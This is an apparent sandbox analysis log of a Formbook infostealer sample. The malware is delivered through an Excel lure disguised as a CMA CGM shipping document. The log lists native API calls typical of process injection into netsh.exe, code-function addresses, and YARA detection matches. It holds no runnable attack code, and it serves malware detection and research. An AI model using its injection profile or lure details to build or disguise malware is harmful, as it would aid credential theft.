Source: C:\Users\Public\vbc.exe	Code function: 5_2_00419F30 NtAllocateVirtualMemory,	5_2_00419F30
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00419DA9 NtReadFile,	5_2_00419DA9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00419E7A NtClose,	5_2_00419E7A
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00419F2D NtAllocateVirtualMemory,	5_2_00419F2D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F00C4 NtCreateFile,LdrInitializeThunk,	5_2_008F00C4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F0048 NtProtectVirtualMemory,LdrInitializeThunk,	5_2_008F0048
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F0078 NtResumeThread,LdrInitializeThunk,	5_2_008F0078
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EF9F0 NtClose,LdrInitializeThunk,	5_2_008EF9F0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EF900 NtReadFile,LdrInitializeThunk,	5_2_008EF900
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_008EFAD0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFAE8 NtQueryInformationProcess,LdrInitializeThunk,	5_2_008EFAE8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFBB8 NtQueryInformationToken,LdrInitializeThunk,	5_2_008EFBB8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFB68 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_008EFB68
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFC90 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_008EFC90
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFC60 NtMapViewOfSection,LdrInitializeThunk,	5_2_008EFC60
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFD8C NtDelayExecution,LdrInitializeThunk,	5_2_008EFD8C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFDC0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_008EFDC0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFEA0 NtReadVirtualMemory,LdrInitializeThunk,	5_2_008EFEA0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	5_2_008EFED0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFFB4 NtCreateSection,LdrInitializeThunk,	5_2_008EFFB4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F10D0 NtOpenProcessToken,	5_2_008F10D0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F0060 NtQuerySection,	5_2_008F0060
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F01D4 NtSetValueKey,	5_2_008F01D4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F010C NtOpenDirectoryObject,	5_2_008F010C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F1148 NtOpenThread,	5_2_008F1148
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F07AC NtCreateMutant,	5_2_008F07AC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EF8CC NtWaitForSingleObject,	5_2_008EF8CC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EF938 NtWriteFile,	5_2_008EF938
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F1930 NtSetContextThread,	5_2_008F1930
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFAB8 NtQueryValueKey,	5_2_008EFAB8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFA20 NtQueryInformationFile,	5_2_008EFA20
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFA50 NtEnumerateValueKey,	5_2_008EFA50
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFBE8 NtQueryVirtualMemory,	5_2_008EFBE8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFB50 NtCreateKey,	5_2_008EFB50
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFC30 NtOpenProcess,	5_2_008EFC30
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFC48 NtSetInformationFile,	5_2_008EFC48
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F0C40 NtGetContextThread,	5_2_008F0C40
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008F1D80 NtSuspendThread,	5_2_008F1D80
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFD5C NtEnumerateKey,	5_2_008EFD5C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFE24 NtWriteVirtualMemory,	5_2_008EFE24
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFFFC NtCreateProcessEx,	5_2_008EFFFC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008EFF34 NtQueueApcThread,	5_2_008EFF34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D100C4 NtCreateFile,LdrInitializeThunk,	7_2_00D100C4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D107AC NtCreateMutant,LdrInitializeThunk,	7_2_00D107AC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0F9F0 NtClose,LdrInitializeThunk,	7_2_00D0F9F0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0F900 NtReadFile,LdrInitializeThunk,	7_2_00D0F900
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FAE8 NtQueryInformationProcess,LdrInitializeThunk,	7_2_00D0FAE8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FBB8 NtQueryInformationToken,LdrInitializeThunk,	7_2_00D0FBB8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FB50 NtCreateKey,LdrInitializeThunk,	7_2_00D0FB50
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FB68 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_00D0FB68
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FC60 NtMapViewOfSection,LdrInitializeThunk,	7_2_00D0FC60
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FDC0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_00D0FDC0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FD8C NtDelayExecution,LdrInitializeThunk,	7_2_00D0FD8C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	7_2_00D0FED0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FFB4 NtCreateSection,LdrInitializeThunk,	7_2_00D0FFB4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D110D0 NtOpenProcessToken,	7_2_00D110D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D10048 NtProtectVirtualMemory,	7_2_00D10048
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D10078 NtResumeThread,	7_2_00D10078
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D10060 NtQuerySection,	7_2_00D10060
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D101D4 NtSetValueKey,	7_2_00D101D4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D11148 NtOpenThread,	7_2_00D11148
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D1010C NtOpenDirectoryObject,	7_2_00D1010C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0F8CC NtWaitForSingleObject,	7_2_00D0F8CC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D11930 NtSetContextThread,	7_2_00D11930
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0F938 NtWriteFile,	7_2_00D0F938
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FAD0 NtAllocateVirtualMemory,	7_2_00D0FAD0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FAB8 NtQueryValueKey,	7_2_00D0FAB8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FA50 NtEnumerateValueKey,	7_2_00D0FA50
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FA20 NtQueryInformationFile,	7_2_00D0FA20
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FBE8 NtQueryVirtualMemory,	7_2_00D0FBE8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FC90 NtUnmapViewOfSection,	7_2_00D0FC90
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D10C40 NtGetContextThread,	7_2_00D10C40
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FC48 NtSetInformationFile,	7_2_00D0FC48
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FC30 NtOpenProcess,	7_2_00D0FC30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D11D80 NtSuspendThread,	7_2_00D11D80
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FD5C NtEnumerateKey,	7_2_00D0FD5C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FEA0 NtReadVirtualMemory,	7_2_00D0FEA0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FE24 NtWriteVirtualMemory,	7_2_00D0FE24
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FFFC NtCreateProcessEx,	7_2_00D0FFFC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D0FF34 NtQueueApcThread,	7_2_00D0FF34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00099D50 NtCreateFile,	7_2_00099D50
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00099E00 NtReadFile,	7_2_00099E00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00099E80 NtClose,	7_2_00099E80
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00099DA9 NtReadFile,	7_2_00099DA9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00099E7A NtClose,	7_2_00099E7A

Source: C:\Users\Public\vbc.exe	Code function: 4_2_001EC0E8	4_2_001EC0E8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001ED2E1	4_2_001ED2E1
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001EC3B0	4_2_001EC3B0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001E9610	4_2_001E9610
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001EC966	4_2_001EC966
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001EC039	4_2_001EC039
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001EF0A0	4_2_001EF0A0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001E32B0	4_2_001E32B0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001E32A1	4_2_001E32A1
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001E5490	4_2_001E5490
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001EB4E0	4_2_001EB4E0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_001E5A8A	4_2_001E5A8A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004559B9	4_2_004559B9
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00450A80	4_2_00450A80
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00450878	4_2_00450878
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00450888	4_2_00450888
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0045509D	4_2_0045509D
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004561C0	4_2_004561C0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004515D0	4_2_004515D0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00454A71	4_2_00454A71
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00450600	4_2_00450600
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00450610	4_2_00450610
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00455EA1	4_2_00455EA1
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004503D8	4_2_004503D8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00450BE7	4_2_00450BE7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041D069	5_2_0041D069
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00401030	5_2_00401030
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041DA97	5_2_0041DA97
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041D5C9	5_2_0041D5C9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402D8D	5_2_00402D8D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402D90	5_2_00402D90
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00409E2B	5_2_00409E2B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00409E30	5_2_00409E30
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041DF79	5_2_0041DF79
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402FB0	5_2_00402FB0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008FE0C6	5_2_008FE0C6
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092D005	5_2_0092D005
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0091905A	5_2_0091905A
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00903040	5_2_00903040
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008FE2E9	5_2_008FE2E9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009A1238	5_2_009A1238
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009A63BF	5_2_009A63BF
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008FF3CF	5_2_008FF3CF
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009263DB	5_2_009263DB
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00902305	5_2_00902305
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00907353	5_2_00907353
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0094A37B	5_2_0094A37B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00935485	5_2_00935485
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00911489	5_2_00911489
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0098443E	5_2_0098443E
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0093D47D	5_2_0093D47D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0091C5F0	5_2_0091C5F0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0090351F	5_2_0090351F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00946540	5_2_00946540
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00904680	5_2_00904680
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0090E6C1	5_2_0090E6C1
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0094A634	5_2_0094A634
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009A2622	5_2_009A2622
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0098579A	5_2_0098579A
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0090C7BC	5_2_0090C7BC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009357C3	5_2_009357C3
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0099F8EE	5_2_0099F8EE
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0090C85C	5_2_0090C85C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092286D	5_2_0092286D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009A098E	5_2_009A098E
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009029B2	5_2_009029B2
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009169FE	5_2_009169FE
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00985955	5_2_00985955
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0098394B	5_2_0098394B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009B3A83	5_2_009B3A83
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009ACBA4	5_2_009ACBA4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0098DBDA	5_2_0098DBDA
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008FFBD7	5_2_008FFBD7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00927B00	5_2_00927B00
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0099FDDD	5_2_0099FDDD
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00930D3B	5_2_00930D3B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0090CD5B	5_2_0090CD5B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00932E2F	5_2_00932E2F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0091EE4C	5_2_0091EE4C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0099CFB1	5_2_0099CFB1
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00972FDC	5_2_00972FDC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00910F3F	5_2_00910F3F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092DF7C	5_2_0092DF7C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D1E0C6	7_2_00D1E0C6
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D3905A	7_2_00D3905A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D23040	7_2_00D23040
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D4D005	7_2_00D4D005
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D1E2E9	7_2_00D1E2E9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DC1238	7_2_00DC1238
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D463DB	7_2_00D463DB
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D1F3CF	7_2_00D1F3CF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DC63BF	7_2_00DC63BF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D27353	7_2_00D27353
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D6A37B	7_2_00D6A37B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D22305	7_2_00D22305
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D55485	7_2_00D55485
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D31489	7_2_00D31489
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D5D47D	7_2_00D5D47D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D3C5F0	7_2_00D3C5F0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D66540	7_2_00D66540
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D2351F	7_2_00D2351F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D2E6C1	7_2_00D2E6C1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D24680	7_2_00D24680
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D6A634	7_2_00D6A634
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DC2622	7_2_00DC2622
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D557C3	7_2_00D557C3
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DA579A	7_2_00DA579A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D2C7BC	7_2_00D2C7BC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DBF8EE	7_2_00DBF8EE
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D2C85C	7_2_00D2C85C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D4286D	7_2_00D4286D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D369FE	7_2_00D369FE
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DC098E	7_2_00DC098E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D229B2	7_2_00D229B2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DA5955	7_2_00DA5955
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DD3A83	7_2_00DD3A83
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DADBDA	7_2_00DADBDA
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D1FBD7	7_2_00D1FBD7
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DCCBA4	7_2_00DCCBA4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D47B00	7_2_00D47B00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DBFDDD	7_2_00DBFDDD
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D2CD5B	7_2_00D2CD5B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D50D3B	7_2_00D50D3B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D3EE4C	7_2_00D3EE4C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D52E2F	7_2_00D52E2F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00DBCFB1	7_2_00DBCFB1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D4DF7C	7_2_00D4DF7C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D30F3F	7_2_00D30F3F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_0009D069	7_2_0009D069
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_0009DA97	7_2_0009DA97
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00082D8D	7_2_00082D8D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00082D90	7_2_00082D90
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00089E2B	7_2_00089E2B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00089E30	7_2_00089E30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_0009DF79	7_2_0009DF79
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00082FB0	7_2_00082FB0

Source: CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\Public\vbc.exe	Code function: String function: 008FDF5C appears 120 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 008FE2A8 appears 38 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 0096F970 appears 84 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 0094373B appears 245 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 00943F92 appears 132 times
Source: C:\Windows\SysWOW64\netsh.exe	Code function: String function: 00D6373B appears 238 times
Source: C:\Windows\SysWOW64\netsh.exe	Code function: String function: 00D63F92 appears 132 times
Source: C:\Windows\SysWOW64\netsh.exe	Code function: String function: 00D1E2A8 appears 38 times
Source: C:\Windows\SysWOW64\netsh.exe	Code function: String function: 00D1DF5C appears 118 times
Source: C:\Windows\SysWOW64\netsh.exe	Code function: String function: 00D8F970 appears 81 times

Source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
